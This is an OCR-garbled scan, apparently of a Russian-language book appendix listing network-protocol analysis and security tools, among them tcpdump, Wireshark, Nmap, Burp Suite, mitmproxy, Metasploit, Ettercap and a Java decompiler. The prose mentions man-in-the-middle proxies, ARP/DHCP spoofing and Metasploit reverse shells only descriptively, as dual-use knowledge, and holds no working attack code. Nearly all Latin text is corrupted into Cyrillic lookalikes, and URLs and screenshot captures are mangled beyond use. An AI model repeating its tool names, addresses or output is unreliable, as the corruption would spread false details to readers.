Жж ЕЕ 0) тоноп я 0 40 © 9 Е. ғоегзеасп елее. Ю кааза! 
$132 : ТСР. (% Мате Маше ВИ Оне Ві 
адз: .АР.., ЅісРот: 10941, Оз1Рогї 10000, Тело: 15, 5: 5еаиепсеМитьег. 1026646870 (0х30316356) 32 32 ^ 
$132 : МЕРСаршге Аскпом1едветепЕМитьег 2907695900 (@хАО4ЕЕВ1С) 64 32 
Меѕзаде?У4, Ргоіосої ТСР П] рааоғѕеб ОаїаОғ#ѕе+{аїаоғ#ѕеі=5,езегуеб=д,№Ѕ.. 96 8 
Ф132 -Ем [2] 2.3 СЕРГИЯ 104 8 
{с220114-с242-490е-9117-19760809458), ЕуепиО: 60012, Мілан 85535 (ӨхРгег) 112 19 
Спескѕит 48919 (@хВЕ17) 128 16 
$132 - ЕмЕхеф 133: ЕмЕхеф 134: Еме ОгвепіРоіпќег е (өхәөөө) 144 16 
Емепйа: 60012, С — Еуепва: 60012, С — Еуепва: 60012. © 
+  рау1оаа з1кбаѕ;1ка;аѕ1. 160 12 
№132: Ем @133:Ем 4134: Ем 
1Ғгастепе 5] [Ргастепі Мк — [РгадтепЕ Ет] ‹ хехУріаіп 
Ф 132: Над -Ар.., ЅтсРогё 10941, ОзРогЕ 10000, епо: 15, Ѕед Вапде: 1026646870 - 102664688. «Нез Ога Ё 1Меѕѕәде Раі 1 {| Ошри 
Везду Зеззоп Тоѓаі 416 АуайаЫе: 27 Ѕејесіеа: 1 Мемроіпе Сера Тпупсаед Ѕесзіоп: Раіѕе Рагзіпо еме: РЫІ Вийа: 407551.0 


о х 
Шо- 


№ Арру  Кетоме| ә 


ТСР Ритр и ШЪРСАР 


Сайт: һіїр/Луму.ісраитр.огд/; ір /Лмииимитрсар.ого/ для МГіпаомуѕ (М/іп- 
Рсар/МИпВитр) 


Лицензия: лицензия В$О 
Платформы: В5О, пих, тасО5, $01агіѕ, Міпаомѕ 


ТСРритр, установленный во многих операционных системах, - «де- 
душка» инструментов, используемых для перехвата сетевых пакетов. 
Его можно использовать для базового анализа сетевых данных. Его 
библиотека ГЬРСАР позволяет писать собственные инструменты для 
перехвата трафика и манипулировать файлами РСАР. 
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> Тегтіпаі 
Ее Еі Міем Ѕеагсһ Тегтта! Неір 
0х0000: 4500 0028 ТссЬ 4000 4006 8776 бабе 020? 
0х0010: (83а 0244 с538 0050 сБеб Ба?7 0019 6510 
0х0020: 5010 3с68 бба8 0000 
21:06:30.735792 ІР айатіїе.1оса1.50488 > 
Ғ.], ѕед 79, аск 495, міп 15544, 1епоїһ ө 
0х0000: 4500 0028 Ғссс 4000 4006 8775 0а00 020? 
0х0010: 83а 0244 с538 0050 среб Ба?7 0019 6510 
0х0020: 5011 3с68 бба8 0000 
78 ІР 1һг14524-іп-#68.1е100.пеї.һіїр > 
іп 65535, 1епдїһ @ 
0х0000: 4500 0028 0040 0000 4006 с402 (83а 
0х0010: Өа00 020? 0050 с538 0019 6510 сБеб 
0х0020: 5010 ?ҒҒ? 4305 0000 0000 0000 0000 
21:06:30.745460 ІР 1һг14524-іп-#68.1е100.пеї.һїїр > 
Е.], 5е4 495, аск 80, міп 65535, 1еподїһ © 
0х0000: 4500 0028 0042 0000 4006 с400 83а 
0х0010: 09а00 020? 0050 с538 0019 6510 сБеб 
0х0020: 5011 ?ҒҒҒ 4304 0000 0000 0000 0000 
21:06:30.745468 ІР абатіїе.1оса1.50488 > 1һг14524-іп- #68.1е100.пеї.һіїр: 
К 496, міп 15544, 1епдїһ Ө 
4500 0028 3113 4000 4006 452? 0а00 020? 
983а 9244 с538 0050 сБеб Б0?8 0019 6511 
5010 3с68 071с 0000 


14524-1іп-#68.1е100.пеї.һіїр: 


айатіїе.1оса1.50488: 


9244 
Ба#8 


айатіїе.1оса1.50488: 


9244 
Ба+8 


И/ігеѕһагк 


Сайт: һіірѕ /Луууу.ууігеѕһагк.ога// 
Лицензия: СРІх2 
Платформы: Вѕр, пих, тасО$, 50]а11$, Міпаомѕ 


М оса! Агез Соппесіоп [Мигезваик 1.12.7 (1.12.7-0-9718978 гот таѕќег-1.12)] 


Ее Ей Ме бо Саріше Апаіуге Ѕ!айеісх Таервопу Тоо |метав Нар 


еолиа ввхеаезәті Ев аар ыивх н 
АКег У | Ехргеѕзіоп... Сіеаг Арр 
№. Тите Ѕошгсе Оеѕіпабоп Ргоќосої Гепоёћ Іпѓо 
32 1.401915000 192.168.0.24 104.82.134.12 551 55 сопсіпиатіоп рата 
33 1.407817000 104.82.134.12 192.168.0.24 ТСР 66 443-10665 [АСК] 5е4=1 АсК=2 м1п=1280 1 еп=0 51Е=1 ЅВЕ=2 
34 1.409916000 192.168.0.24 104.82.134.12 551 55 сопсіпиатіоп раса 
35 1.409916000 192.168.0.24 104.82.134.12 551. 55 сопсіпиатіоп рата 
36 1.415563000 104.82.134.12 192.168.0.24 ТСР 66 443-10668 [АСК] 5е4=1 АсК=2 м1п=1102 1 еп=0 51Е=1 5ВЕ=2 
37 1.416301000 104.82.134.12 192.168.0.24 ТСР 66 443-10667 [АСК] 5е4=1 АсК=2 м1п=1024 і еп=0 51Е=1 5ВЕ=2 
38 1.417903000 192.168.0.24 104.82.134.12 551. 55 сопсіпиатіоп рата 
39 1.423578000 104.82.134.12 192.168.0.24 ТСР 66 443-10664 [АСК] 5е4=1 АсК=2 и1п=1369 іеп=0 51Е=1 5ВЕ=2 
40 1.521901000 192.168.0.24 172.228.71.96 551. 55 Сопсіпиасіоп бата 
41 1.527377000 172.228.71.96 192.168.0.24 ТСР 66 443-10678 [АСК] 5е4=1 АсК=2 м1п=980 іеп=0 5_Е=1 ЅВЕ=2 
42 1. 533917000 192.168.0.24 172.228.81.235 551. 55 Ссопсіпиатіоп рата 
43 1. 539562000 172.228.81.235 192.168.0.24 ТСР 66 443-10677 [АСК] 5е4=1 АсК=2 м1п=957 1 еп=0 51Е=1 ЅВЕ=2 
44 1. 593910000 192.168.0.24 185.31.18.134 ТСР 55 10583-80 [АСК] 5е4=1 АсК=1 Міп=257 1 еп=1 
45 1. 599576000 185. 31.18.134 192.168.0.24 ТСР 66 80-10583 [АСК] 5е4=1 АсК=2 Міп=59 іеп=0 51Е=1 5ВЕ=2 
46 1.809902000 192.168.0.24 172.228.85.50 551. 55 сопсіпиасіоп рага № 
> 
Э Тгапѕтіѕѕіоп Сопсго1 Ргососо1, $гс Рогт: 10667 (10667), 057 Рогт: 443 (443), 5е4: 1, АСК: 1, 1еп: 1 ^ 
Ѕоигсе Рогт: 10667 (10667) 
резт1пат1оп Рогт: 443 (443) 
[5тгеат 1пдех: 12] 
[ТСР Ѕедтепс теп: 1] 
Ѕедиепсе питбег: 1 (геТат1уе ѕедиепсе питбег) 
[мехт зедиепсе питбег: 2 (геТас1уе ѕедиепсе питбег)] 
АСКпПОм1 еддтепт питбег: 1 (ге1атсіуе аск питбег) 
Неайег 1 епдтһ: 20 Бутеѕ 
Е .... 0000 0001 0000 = Ғ1адѕ: 0х010 (АСК) 
000. .... .. = Веѕегүей: мот ѕет 
... мопсе: мот ѕет 
Сопдеѕтіоп и1паои ведисед (Сив): мот ет 
ЕСМ№-Есһо: № т ет 
Огдепс: мот ѕес 


АСКпом1ейдтепс: 5ет 
Риѕһ: Мот ѕес 


везет: мот зет 
5уп: Мот ѕет 
іп: №1 ѕет 
міпдом 512е уа1ие: 261 
0000 с 4с а5 94 еа Б0 5с Т9 9 бс 78 Ве 08 
0010 ОО 29 7а ЬҒ 40 00 80 06 00 00 со ав 00 


0020 
0030 


86 Ос 29 ар 01 БЫ 89 42 77 29 40 ае аа 
01 05 аЁ За 00 00 00 


© #1 | гате (тате), 55 Буќез 


Раскез: 523 . Гіѕріауес: 523 (100.0%) · Огорреч: 0 (0.0%) 


Ргоћіе: ОеЁаий 
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МЛгезВагК – самый популярный инструмент для пассивного перехвата 
и анализа пакетов. Его графический интерфейс и большая библиотека 
модулей для анализа протоколов делают его более надежным и прос- 
тым в использовании по сравнению с ТСРритр. Мігеѕһагк поддержи- 
вает почти все известные форматы файлов перехвата, поэтому даже 
если вы перехватываете трафик, используя другой инструмент, то 
можете работать с Мігеѕћагк для проведения анализа. Он даже вклю- 
чает поддержку анализа нетрадиционных протоколов, таких как ОЅВ 
или последовательная передача данных. Большинство дистрибути- 
вов МігеѕһагКк еще включают {$ВагК, заменяющий ТСРритр, который 
имеет большинство функций, предлагаемых в основном графическом 
интерфейсе МЛгезВагК, например диссекторы протокола. Он позволяет 
просматривать более широкий спектр протоколов в командной строке. 


Активный перехват и анализ 


Для изменения, анализа и эксплуатации сетевого трафика, как опи- 
сано в главах 2 и 8, вам нужно будет использовать активные методы 
перехвата. Когда я анализирую и тестирую сетевые протоколы, то ис- 
пользую следующие инструменты. 


Сапаре 


Сайт: һ1р5;//9йһир.сот/сіхіѕ/сапаре/ 
Лицензия: СР 
Платформы: Міпӣоуѕ (с .МЕТ 4) 


$ САМАРЕ - (Ипенеч) – о х 


Ре Мем Тиз Ехіепѕіоп Нар 


ПМеЕбгарь | 


Рагзег | ях 


83118 


Соттепі 


Ніадеп Ғаіѕе ЗЕВМЕВ 


> Нез ОаёаРгате! 
МаёсвАЙАйег Разе 


Ргорешез 
ТехиаКеу/уаме райз {о 
ргомде афйгагу узіџез іо ћ... 


ан мха в 
$ Тһіз ро11з іп тһе сапаре 1іргагу пашезрасез ^ 
ішрогі САМАРЕ .Моаез 
ішрог САМАРЕ .РатаЕгашез 


Ф Ѕішр1е ріреІіпе пойе 
с1азз Ріре1іпеМойе (САМАРЕ .Модез.ВазерупањісРіре1 


# Са11еа ъућһеп а пем Ёгаше Ваз аггіуей 

аеЕ ОпІпроё (зе1#, Егаше): 
$ Сгеасе а пем даса Егаше місһ све сопсе 
зе1#.1одІпғо("Кесеіуей {0}", Ғгаше) 
зе1#.МгібеОоёроё (гапе) 


Земему Меззаде 
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Я разработал Сапаре как универсальный инструмент для тестиро- 
вания, анализа и эксплуатации уязвимостей сетевых протоколов 
с удобным графическим интерфейсом. Сапаре содержит инструмен- 
ты, позволяющие пользователям разрабатывать парсеры протоколов, 
расширения на базе сценариев С# и ПопРуШоп, а также различные 
типы прокси-серверов вида «человек посередине». Начиная с вер- 
сии 1.4 он имеет открытый исходный код, поэтому пользователи мо- 
гут вносить свой вклад в его разработку. 


Сапаре Соге 


Сайт: һїр5 ;//9ћир.сот/Лугапіа/САМАРЕ.Соге/ге[еаѕеѕ/ 
Лицензия: СРГУЗ 
Платформы: .МЕТ Соге 1.1 и 2.0 (пих, тасО$, Уіпаомѕ) 


Библиотеки Сапаре Соге, урезанная ветка исходной кодовой базы 
Сапаре, предназначены для работы из командной строки. В приме- 
рах в этой книге я использовал Сапаре Соге как предпочтительную 
библиотеку. Она обладает той же мощностью, что и Сапаре, но может 
использоваться в любой ОС, поддерживаемой .МЕТ Соге, а не только 
в Міпаомѕ. 


МаЦогу 


Сайт: ћ1р5 ;//9/һир.сот/іпігерійаиѕагоир/та!огу/ 
Лицензия: Руіћоп Ѕойуаге ЕоипдаНоп Шісепѕе у2; СРІх3 при исполь- 
зовании графического интерфейса пользователя 


Платформа: пих 


МаПогу - это расширяемый инструмент для осуществления атаки «че- 
ловек посередине», который действует как сетевой шлюз, что делает 
процесс сбора, анализа и изменения трафика прозрачным для тести- 
руемого приложения. Его можно настроить, используя библиотеки Ру- 
Топ, а также отладчик с графическим интерфейсом. Для работы с Ма1- 
Іогу вам потребуется настроить отдельную виртуальную машину пих. 


Подключение к сети и тестирование протоколов 


Если вы пытаетесь протестировать неизвестный протокол или сете- 
вое устройство, базовое тестирование сети может оказаться очень по- 
лезным. Инструменты, перечисленные в этом разделе, помогут вам 
обнаружить открытые сетевые серверы на целевом устройстве и под- 
КЛЮЧИТЬСЯ К НИМ. 


Нріпд 
Сайт: һр /Лууу.Һріпд.ога/ 
Лицензия: СРІу2 
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Платформы: В$О, Шпих, тасО$, Міпӣомѕ 


Нрше похож на традиционную утилиту р\пд, но поддерживает не 
только ІСМР-сообщения, называющиеся эхо-запросами. Его также 
можно использовать для создания пользовательских сетевых паке- 
тов, отправки их адресату и отображения ответов. Это очень полез- 
ный инструмент, который должен быть в вашем снаряжении. 


Меса! 

Сайт: оригинальная версия - ћіір;//пс110.ѕоигсејогде.пеі/ и СМО-вер- 
сия – ћіір;//пеїісаї.ѕоигсејогде.пеї/ 

Лицензия: СРІх2, общего пользования 

Платформы: В$р, пих, тасО$, Үіпӣомѕ 


М№Меѓсаї – это инструмент командной строки, который подключается 
к произвольному ТСР- или ОРрР- порту и позволяет отправлять и по- 
лучать данные. Он поддерживает отправку или прослушивание соке- 
тов. Меса имеет множество вариантов, которые, к сожалению, ис- 
пользуют разные параметры командной строки. Но все они делают 
примерно одно ито же. 


Мтар 


Сайт: һїрѕ;//птар.огд/ 
Лицензия: СРІу2 
Платформы: Вѕр, пих, тасО$, Міпӣомѕ 


Ттегтіпа! - 
Ее Ебі Міем Ѕеагсһ Тегтта! Неір 


Ѕїіагііпд Мтар 6.00 ( һіїр:/ ар.огд ) аї 2015-09-29 21:28 В$Т 
№ар ѕсап герогї Ғог 1оса (127.0.0.1) 
Ноѕї 15 ир (0.00000705 1аїепсу). 
№т 5Помп: 994 с1о$е4 рогїѕ 
ЅТАТЕ ЗЕВУТСЕ УЕВЗТОМ 
ореп $50 Ореп55Н 6.0р1 реріап Зибипти1.2 (ргоїосо1 2.0) 
ореп һїїр Арасһе һїїра 2. Убипти) ) 
ореп пеїріоѕ-ѕ5п Ѕатра ѕтра 3 Т : МОВКбВОУР) 
ореп пеїріоѕ-55п Ѕатба зтб9 3.Х (мо ир: МОВКбКОУР) 
ореп ірр СОРЅ 1.6 
роѕїідгеѕд1 Роѕїдгеѕ01 ОВ 
үісе ипгесодпіғей йеѕріїе гефигп1пд дата. ІҒ 
е ѕиртії {Ве Ғо110міпд Ғіпдегргіпї аї Пр 


се детес{1оп регфогтед. Р\1еаѕе герогї апу іпсоггесї геѕи1ї5 аї һїіїр: //птар. 
иртії/ . 
№ар допе: 1 ІР аййгеѕ5 (1 һоѕї ир) ѕсаппей іп 11.30 ѕесопӣѕ " 


Если вам нужно просканировать открытый сетевой интерфейс в уда- 
ленной системе, то нет ничего лучше Мтар. Он поддерживает мно- 
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жество различных способов получения ответов от серверов сокетов 
ТСР и ОПР, а также различные сценарии анализа. Он бесценен, когда 
вы тестируете неизвестное устройство. 


Тестирование веб-приложений 


Хотя эта книга не уделяет большого внимания тестированию веб-при- 
ложений, это важная часть анализа сетевых протоколов. Один из са- 
мых распространенных протоколов в интернете, НТТР используется 
даже для проксирования других протоколов, например ОСЕ/ВРС, что- 
бы обойти брандмауэры. Вот некоторые из инструментов, которые 
я использую сам и рекомендую вам. 


Вигр $ийе 


Сайт: ИНр5.//рои5илддегпе Бигр/ 
Лицензия: коммерческая; доступна ограниченная бесплатная версия 


Платформы: поддерживаемые платформы ]ауа (іпих, тасО$, Ѕо1аг- 
1$, Міпаомѕ) 


В вот зыйе ғгее Ейїйоп 1.6.25 - о х 


Вигр Іпігидег Кереаќег М/іпдом Неір 


| Тагдеї [ро Зрідег | Ѕсаппег | 1пігџдег | Кереаїег | Зедиепсег | ресовег | Сотрагег [еее | Оріїопѕ | Ајегіѕ | 


1пќегсері | нтр һыоу | \МеБЅоскеїѕ һіѕїогу | Оріопѕ 


Акег: Ніаїпо С$$, ітаде апа депега! Ыпагу сопіепі (2) 
# а) Ноя | Метоа | УВЕ | Рагатз | Евиед | Ѕіаішѕ | Гепоіћ | МІМЕ +. | Ехіепѕіоп | Тие 

1 Вр:/Амилуу. дооде. сот СЕТ / О @ 302 494 НТМЕ 302 Моуеа ^ 
2 Һір://имууу.доодје.со.ик СЕТ ѓе гі=сг&еі=Е7Х-М2ОТЕе Н... м = 200 19761 НТМ. Соодіе 

К) һір://доодіе.сот СЕТ / О О 302 494 НТМЕ 302 Момеа 

4 Һір://мууу.доодје.со.ик СЕТ Г?ое_гд=сг&е!=4Х-М9_ВА-М/д8... М 302 1200 НТМЕ 302 Момед 

5 ћіїр://пемѕ.БЫс.со.ик СЕТ 1 О о 301 809 НТМЕ 301 Моуед Регта! 

6 піїр://^алмуму.БЫс.со.ик СЕТ /темѕ/ О О 301 351 НТМЕ 

7 СЕТ /емѕ О 0 200 205067 НТМ Ноте - ВВС 

9 їр://ѕїайс.БЫсі.со.ик СЕТ гатемогк$/байездие/2.87.12/0... О Ы 200 777 ѕспрі в 

11 Һір://ѕабс. БЫсі. со. ик СЕТ Матемогкз/гедиие] Л. јѕ О Е 200 20129 ѕсгірі в 

13 НИЕр://фанс_БЬст.со-иК СЕТ Нгатемогкз/вайездие/2.87.12/о... 200 32672 ѕспірї 5 т 
|а оину. | 


[Вам | Неадесз | нех | НТМЬ | вепаег | 
НТТР/1.1 200 ОК а 
Зекуек: Арасһе 

Сасһе-Сопіро1: тах-асе=30, зсаіе-зжһі1е-геуа1ідасе 

Сопсепс-Туре: сехс/һсм1; сһагзес=цс?-8 

Х-Меуз-Раса-Сепеге: се1һс 

Сопсепс-Гапачаде: еп-СВ 

Х-РАІ-Нозе: ра1116.Браск.1іуе.се1һс.1оса1:80 

х-Меєз-Сасһе-Іа: 21065 

Сопсепс-епотһ: 204612 

расе: 5ип, 20 5ер 2015 13:32:51 СМТ 

Соппессіоп: Кеер-а11уе 

Х-Сасһе-Ассіоп: НІТ 

Х-Сасһе-Нісз: 300 

Х-Сасһе-Асе: 24 

Х-ЬВ-МоСасве: ские 

Уагу: Х-СОМ, Х-ВВС-Еасе-Сасһе, Ассерс-Епсойіпа 


<!рОСТҮРЕ һёт> 
<Всш1 1апд="еп-СВ" 14="гезропз1уе-пемз" рееЁ1х="од: Һсср://оср.те/пз#"> т 


? < + > | | Туре а ѕеагсһ {ет 0 таїсһеѕ 
Ња. Баа) ы ыы) 
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Вигр зиКе – это золотой стандарт коммерческих инструментов для 
тестирования веб-приложений. Написанный на Јауа для максималь- 
ной кросс-платформенной совместимости, он предоставляет все 
функции, необходимые для тестирования веб-приложений, включая 
встроенные прокси, поддержку дешифрования $51. и простую расши- 
ряемость. Бесплатная версия имеет меньше функций, чем коммерче- 
ская, поэтому подумайте о покупке коммерческой версии, если пла- 
нируете часто использовать его. 


2еа Айаск Ргоху (2АР) 


Сайт: һїрѕ /Луу.оуаѕр.огд/іпаех.рһр/2АР 

Лицензия: Арасһе Глсепзе у2 

Платформы: поддерживаемые платформы ]ауа (Шпих, тасО$, Ѕо1аг- 
1$, Міпаомѕ) 


Если цена Вигр Ѕиіѓе для вас недостижима, то есть отличный бесплат- 
ный вариант - ГАР. ГАР, разработанный сообществом ОМ/АЅР, напи- 
сан на Јауа. Вы можете писать свои сценарии, и его можно легко рас- 
ширить, потому что это инструмент с открытым исходным кодом. 


МИтргоху 
Сайт: һрѕ //тіїтргоху.ога/ 
Лицензия: МІТ 


Платформы: любая платформа с поддержкой Руіћоп, хотя в случае 
с Міпаоуѕ есть ограничения 


Е Ѕеагсһ Тегтта Нар 
Вр: //БЬс.со.иК/ 
= 301 їехї/һїіті [етрїу сопїепї] 
: Гмм .Ббс.со.ик/ 
техї/һіті 23.3КВ 
//ѕћаїіс.БЫсі. со.ик/тойи1еѕ/ѕћһаге/1.5.1/тойиеѕ/БЬсѕћаге. јѕ 
арр\ісаїіоп/јамаѕсгірї 12.17КВ 
//ѕћаїіс.бЫЬсі. со.ик/де1ѕїу1еѕ/0.10.0/5їу1е/соге. сѕ5 
Техї/сѕ5 1.87КВ 
/Ја.#іЛеѕ .брсі. со.ик/5/һотераде-у5/1660/5їу1еѕ/таіп.сѕ5 
Техї/сѕ5 14.12КВ 
//ѕћаїіс.бЫсі. со. ик/тойи1еѕ/ѕћһаге/1.5.1/5їу1е/ѕһаге. сѕ5 
Техї/с55 2.72КВ 
//Ѕћаїіс.БЬсі. со.ик/Ғгатемогкѕ/Баг1еѕдие/2.88.1/огь/4/5їу1е/огь.тіп.сѕѕ 
- Техї/сѕ5 4.58КВ 
Вр: //51аїіс.БЫЬсі . со.иКк/Ёгатемогкѕ/Баг1еѕдие/2.88.1/огЬ/4/5сгірї/огЬ/арі.тіп.јѕ 
арр\ісаїіоп/јахаѕсгірї 2768 
Вр: //ѕїатіс.ЬЬсі. со.ик/Ғгатемогкѕ/Баг1еѕдџе/2.88.1/огЬ/4/ітд/ЬЫс-Б1оскѕ-дагк.р 
пд 
- 200 ітаде/рпд 7358 
һр: //ісһе?.Брсі.со.ик/ітадеѕ/1с/160хп/рөзөбїї8.рпо 
1таде/рпд 4.1КВ 


һр: //5аїіс.БЫсі . со.ик/Ғгатемогкѕ/ гедиігејѕ/1ір.јѕ 

= 200 арр1ісаїіоп/јамаѕсгірї 7.33КВ 

һр: //а.ҒіЛеѕ.Брсі.со.ик/ѕ/һотераде-%5/1660/јауаѕсгірїѕ/арр. јѕ 
їехї/јамаѕсгірї 103.43КВ 


Містргоху - это инструмент для тестирования веб-приложений на ос- 
нове командной строки, написанный на Руіћоп. Его многочисленные 
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стандартные функции включают перехват, модификацию и воспро- 
изведение запросов. Его также можно включить как отдельную биб- 
лиотеку в собственные приложения. 


Фреймворки для фаззинга, генерации пакетов 
и эксплуатации уязвимостей 


Каждый раз, когда вы разрабатываете эксплойты и обнаруживаете 
новые уязвимости, обычно необходимо реализовать множество рас- 
пространенных функций. Следующие инструменты предоставляют 
основу, позволяющую сократить объем стандартного кода и общих 
функций, которые необходимо реализовать. 


Атегісап Еиггу [ор (АЕІ) 


Сайт: һіір;/Лсатіиѓсогеаитр.сх/аў/ 
Лицензия: Арасһе Глсепзе у2 


Платформы: Шпих; существует поддержка других Опіх-подобных 
платформ 


Не позволяйте его милому названию сбить вас с толку. Атегісап Еи72у 
Гор (АЕГ), возможно, и был назван в честь породы кроликов, но это 
замечательный инструмент для фаззинга, особенно для приложений, 
которые можно перекомпилировать для включения специальных ин- 
струментов. Он обладает почти волшебной способностью генериро- 
вать допустимые входные данные для программы из самых малень- 
ких примеров. 


| не Еа Міем Ѕеагсһ Тегтіпаі Нер 


атегісап Ёи22у 1ор 1.946 (ехатр\е) 


Ө дауѕ, Ө һгѕ, Ө піп, 
Ө дауѕ, Ө һгѕ, Ө піп, 
Ө дауѕ, Ө һгѕ, Ө піп, 
попе ѕееп уеї 


13 (0.02%) 
1.00 Біїѕ/+ир1е 


5166/20.0К (25.83% 
6788 180 (1 ипіс 
2142/5ес (0 ип1дие) 


1/64, 0/63, 0/61 
0/8, 0/7, 0/5 
09/448, 0/476, 0/3490 
0/16, 0/42, 0/50 
0/0, е/е, о/е 

0/0, 0/0 

0.00%/1, 0.00% 
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Ка! Шпих 


Сайт: һіірѕ /Лмимии.Кай.ога/ 


Лицензии: доступен ряд лицензий с открытым исходным кодом 
и платных лицензий в зависимости от используемых пакетов 


Платформы: АВМ, Пи х86 и х64 


Каі – это дистрибутив пих, предназначенный для тестирования на 
проникновение. Он поставляется с предустановленными М№тар, Міге- 
ѕһагк, Вигр Ѕиіїе и другими инструментами, перечисленными в этом 
приложении. Ка| неоценим для тестирования и эксплуатации уязви- 
мостей сетевых протоколов. Его можно установить изначально или 
запустить как дистрибутив, который можно загрузить со съемного 
носителя. 


Меѓаѕріоіє Егатеиок 


Сайт: һ05 ;//9ћир.сот/гаріа7/теѓаѕріоі-јғатеуогк/ 
Лицензия: Вр, некоторые части под разными лицензиями 
Платформы: ВЅр, Шпих, тасО5, Міпаоуѕ 


Меѓаѕріой - практически единственная возможность, когда вам ну- 
жен универсальный фреймворк для эксплуатации уязвимостей, по 
крайней мере если вы не хотите платить за него. Меазр]ой имеет от- 
крытый исходный код, активно обновляется с учетом новых уязвимо- 
стей и будет работать практически на всех платформах, что делает его 
полезным для тестирования новых устройств. Меѓаѕріоії предостав- 
ляет множество встроенных библиотек для выполнения типичных 
задач эксплуатации, таких как генерация и кодирование шелл-кода, 
создание обратных оболочек и получение повышенных привилегий, 
что позволяет сосредоточиться на разработке эксплойта без необхо- 
димости иметь дело с деталями реализации. 


Ѕсару 


Сайт: һіір:/Лууу.ѕесӣеү.ога/ргојесіѕ/сару/ 
Лицензия: СРІу2 


Платформы: любая платформа, поддерживаемая Руѓћоп, хотя лучше 
всего она работает на Опіх-подобных платформах 


Ѕсару – это библиотека для генерации сетевых пакетов и управления 
ими для Руіћоп. Ее можно использовать для создания практически 
любого типа пакетов, из пакетов Еіћегпеї через пакеты ТСР или НТТР. 
Вы можете воспроизводить пакеты, чтобы проверить, что сетевой 
сервер делает при их получении. Эти функции делают Ѕсару очень 
гибким инструментом для тестирования, анализа или фаззинга сете- 
вых протоколов. 
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5иЦеу 


Сайт: №#р5//аЙВиЬБ.сот/Ореп® СЕ биЦеу/ 
Лицензия: СРІу2 
Платформы: любая платформа с поддержкой Рућоп 


биПеу - это библиотека на базе Рушоп и фреймворк для фаззинга, 
предназначенная для упрощения представления, передачи и инстру- 
ментария данных. Ее можно использовать для фаззинга чего угодно, 
от форматов файлов до сетевых протоколов. 


Сетевой спуфинг и перенаправление 


Чтобы перехватить сетевой трафик, иногда нужно перенаправить его 
на слушающую машину. В этом разделе перечислено несколько ин- 
струментов, которые предоставляют способы реализации спуфинга 
и перенаправления трафика без особой настройки. 


р№5Маѕд 


Сайт: һр /Лууу.іһеке![еуѕ.огд.ик/пѕтаѕд9/аос.һіті 
Лицензия: СРІу2 
Платформа: пих 


О№Маза предназначен для быстрой настройки основных сетевых 
служб, таких как О№ и ОНСР, поэтому вам не придется беспокоиться об 
их сложной настройке. Хотя ОМ5Маѕа не предназначен конкретно для 
спуфинга, его можно настроить для перенаправления сетевого трафи- 
ка устройства для его перехвата, анализа и эксплуатации уязвимостей. 


Ебегсар 


Сайт: һр //еїегсар.діїһиБ.іо/ейегсар/ 
Лицензия: СРІу2 
Платформы: Шпих, тасО5 


Еігегсар (обсуждается в главе 4) – это инструмент для осуществления 
атаки «человек посередине», предназначенный для прослушивания 
сетевого трафика между двумя устройствами. Он позволяет подделы- 
вать ОНСР- или АКР-адреса для перенаправления сетевого трафика. 


Обратная разработка 


Просмотр исходного кода приложения часто является самым прос- 
тым способом определить, как работает сетевой протокол. Однако 
когда у вас нет доступа к исходному коду, или протокол сложный или 
проприетарный, то анализ сетевого трафика затруднен. Здесь на по- 
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мощь приходят инструменты обратной разработки. Используя их, вы 
можете дизассемблировать, а иногда и декомпилировать приложение 
в ту форму, которую можно проверить. В этом разделе перечислено 
несколько инструментов обратной разработки, которые я использую. 
(См. обсуждение в главе 6 для получения более подробной информа- 
ции, примеров и объяснений.) 


Лауа Эесотриег (0) 


Сайт: һіїр://а.Бепоу.са/ 
Лицензия: СРІу5 


Платформы: поддерживаемые платформы Јауа (пих, тасО$, Ѕо1аг- 
1, Міпаомѕ) 


Јауа использует формат байт-кода с расширенными метаданными, 
что позволяет довольно легко реконструировать байт-код ]ауа в ис- 
ходный код Јауа с помощью такого инструмента, как Јауа ресотріег. 
Он доступен с автономным графическим интерфейсом пользователя, 
а также с плагинами для среды разработки ЕсИрзе. 


(> ЈМІРСаѕс1 оайег,сіасх - Јауа Оесотріїег - о х 
Ее Еди Мамданоп Ѕеагсһ Нар 
Б Ў > + 
64 јауаие.јаг 53 
в Ы ғо т к Бъ Бкелбейсегисе, баз 53 Бъ БмепеопіпсізіегЅегуісе. баз 53 
8-6} АрреАидюр. аз Ё» №РВапаотАссезз йе. аз 72 {>} Вазіссегуісе,базз 22 0 ВазісѕегуісеІтрі.іаѕ 23 ЈМРОаѕзі оайег.баѕѕ 53 
8 10) АрріекСопќаіпег, даз ргімаїе ѕҰаїіс ЈМІРСІаѕѕіоабег _іпѕапсе = пи11; я 
59-0) АрреСогиапегСааск. 4855 ргфуаке зас ЈМІРРгеуегіғуС1аз51оабег _ргемегі#усі = пи11; 
9-0) Вавісѕегисеїтрі баз ргіма+е Іашпсћреѕс _ЛаипснОезс = пи11; 
8-9 Вазісѕегуісеїтрі ргіуа+е АррРо1їсу _аррРо1їсу; 
88-0) СпескбегисеРептізіоп, даз ргімаёе АссеззСопего1СопеехЕ _асс = пш11; 
9-0) Орроагабегуісеїтрі.діазс ргіуа+е Боо1еап _1п41а14те4 = +а15е; 
90-5) Оомгіоайѕегуісе21трі.даз ргіма+е Мар _јагзІп0АІС1аѕѕіоадег = пем НазНМар(); 
©} роипоадбегисейтр. 4855 ргіуаїе Аггауй15Е _јагзћоІпВІС1аѕѕіоабег = пем Аггауії5+(); 
80-0) Ехёепдеббегуісеїтрі. баз ргімаїе Кас Е1е14 исрЕ4е1а = веЁЏСРЕіе19("иср"); 
9 Бу Ехќепеіопілеќаіегбегуісеїтрі давс ргіуаїе 115 айдеаувіѕ = пем Аггауі15+(); 
3-5} РіеСопіепіхітрі дас ргімае ЈМЬРСІаззоадег _јс1Рагепё; 
3-1} РіеОрепбегуісеїтрі.дасе А 
8-Б Ріесауебегисеїтрі. асе _ ргіуабе ЈМ.РСТазз.оайег(С1аѕзоабег рагапС1азз1оабег) 
9-0) ІтадеСафе, дасе е + 


3-1} Іпіедгабопбегуісеїтрі.діасх 
1-8} З№МРСафедзаг/в\Соппесвоп.Фавз 


ВВ ти РОангоадег 625 | 10са15есигіїуМапавег.сһескСгеаёеС1аѕ51оадег(); 

2-0) МРОазяоадет{. аз } 

8-5 2м. азз оабегуа. даз е іғ ((рагапС1аѕзоайег іпзкапсеоғ ЈМРСІаззіоадег)) { 
8-0) Ј№Рргеуегі убас оадег.даѕ= #һіѕ._јс1Рагепё = ((ЈМ.РС1аз51 оадег)рагатС1аѕ51оадег); 
#- 1} МАРВМПОазя оадег Зри. аз } 

#5} ЈАРАапдотАссесзғеїтрі. басс зебуСР(їһіѕ, пем Оер10ууЋіС1аѕѕРаһ(пем ША [0])); 

